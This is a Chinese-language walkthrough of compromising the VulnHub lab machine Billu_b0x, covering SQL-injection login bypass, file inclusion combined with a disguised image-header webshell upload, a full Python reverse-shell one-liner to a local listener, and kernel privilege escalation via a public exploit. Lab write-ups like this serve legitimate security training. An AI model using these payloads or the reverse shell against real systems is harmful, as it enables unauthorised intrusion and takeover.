0x11-VulnHub靶机-Billu_b0x

环境

靶机地址:https://download.vulnhub.com/billu/Billu_b0x.zip

内容

  • SQL注入 (sqlmap跑不出来 )

  • 文件包含 (会将php代码 解析 执行结果显示给我们)

  • 文件上传

  • 任意文件下载 (将php源码显示给我们 )

  • 内核提权

操作

信息收集

常规的nmap 主机发现 端口扫描 开放22 80

访问80发现个登录界面 上面写着 但是我用sqlmap去跑 没跑出来诶

image-20240313144923144

然后就是目录扫描了 扫出来的东西还挺多

image-20240313145056925

add.php 是个上传功能 但是测试了一下 上传图片也没什么变化

image-20240313145214361

/in是phpinfo

/phpmy 是一个数据库的登录界面 弱口令也进不去

image-20240313145908066

/test.php 下面的提示看起来可以利用一下 试着去get请求传参发现不行 就改为post

image-20240313150328816

更换请求方式 (get post 要用burp的change request method 而不是直接该抓包的内容 (你直接改 有些细节的变化 导致执行不出原本的结果 )

image-20240313103532586

发现用post去传参就可以

image-20240313150809551

文件下载与文件包含

我用这种方式去访问 给我回显的是源码 那这应该就是任意文件下载 (加上用hackerbar去传参 下载了 )

文件包含是会将页面解析出来 你可以看到phpinfo的页面 看不到php代码

image-20240313111810450

这个时候我们可以看到页面的源码了 知道他的功能是怎么写的 就相当于白盒绕过了

进入后台 思路一 源码审计

我们去看看那个登录界面是怎么写的

image-20240313151319428
	尝试绕过 然后登录进去 
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);
	
	就相当于  
$run='select * from auth where  pass='.$pass.' and uname='.$uname.'';

uname ' or 1=1#

pass \ (为啥这个要是 \ 啊 md 不理解 )

进入后台 思路二 进入数据库管理界面

给file继续传参 当传入c.php(dirsearch扫出来的) 发现了数据库的账号密码 通过那个数据库的登录界面登入进去 (没有我们就无法登 因为mysql默认不支持外连)

image-20240313152031179

进入后 发现版本了 比较低 去网上找 phpmyadmin 3.4.7后台 但是浅浅试了试 get不了shell

再去翻一翻有没有什么别敏感信息 发了个账号密码 然后可以直接进入后台

image-20240313153500602

思路三

使用sql注入的一些万能密码的payload结合burp进行注入

因为这个过程需要用到很多的payload,直接显示找到了万能密码的payload文件

seclists中的sql的payload文件,/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt(对应username)

burp专业版中自带的针对SQL注入的字典(对应password)

后台

通过找到账号密码 or 万能密码进入后台了

发现有个上传的点 而且与之前那个add.php 一样

简单试了 绕不过

但是这里面的 load 参数就很有意思 他传什么 页面就会发生变化 而且这个参数值都是在dirsearch扫描时候发现有的

image-20240313155748044
image-20240313155804125

我去传入那个in.php发现

image-20240313160033018

​ 再去试了passwd 也给我显示出来了 确定了这个参数存在文件包含漏洞 (像文件包含 你就看不到php的源码 只可以看到解析出来的页面 image-20240313160129023

文件包含+文件上传

这里我们有了文件包含漏洞 而且有上传的功能点 我们可以上传一个带🐎的合法文件 然后再去包含这个文件 由于存在文件包含漏洞 所以这个文件就会以php脚本去解析 然后🐎就生效了

他会检查文件头

image-20240313160752768

但是看不到phpinfo的内容(因为我添加GIF89a头部的原因?) 傻逼了 (肯定不可以直接去访问 要用给参数传参去包含

image-20240313160840693

应该这样去 但是还是没看到phpinfo的页面?

image-20240313163032934

直接传🐎试试

// 用get
image-20240313165451371

然后可以用nc去反弹shell 先kali监听 是能够通的 但是我常规的连不了 试试 nc串联 也不行

image-20240313170123676

用python的可以 但是要url编码

export RHOST="192.168.3.120";export RPORT=9002;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

提权

suid sudo 都没啥

uname -a 发现内核版本低

image-20240313214243446

searchsploit 3.13.0

image-20240313214554905

把 文件cp 到桌面 然后再wget下到目标主机

再编译 gcc 37292.c -o exp chmod+x exp 再运行

image-20240313214846517

项目

用 https://github.com/carlospolop/PEASS-ng 也直接搞出了这个root的密码

image-20240313215655534

也提示了可以用这类内核漏洞

image-20240313215837953

被忽略的点

在可以看任意文件代码的时候,应该把所有的目录都跑一边,然后每一个文件都去看一看有什么

在这个靶机中 在phpmy目录下存在着一个文件 直接由root的密码 然后就可以直接通过ssh去连接

但我压根就没想过要去扫 /phpmy

image-20240313154620368

直接拿到root啊

image-20240313154734259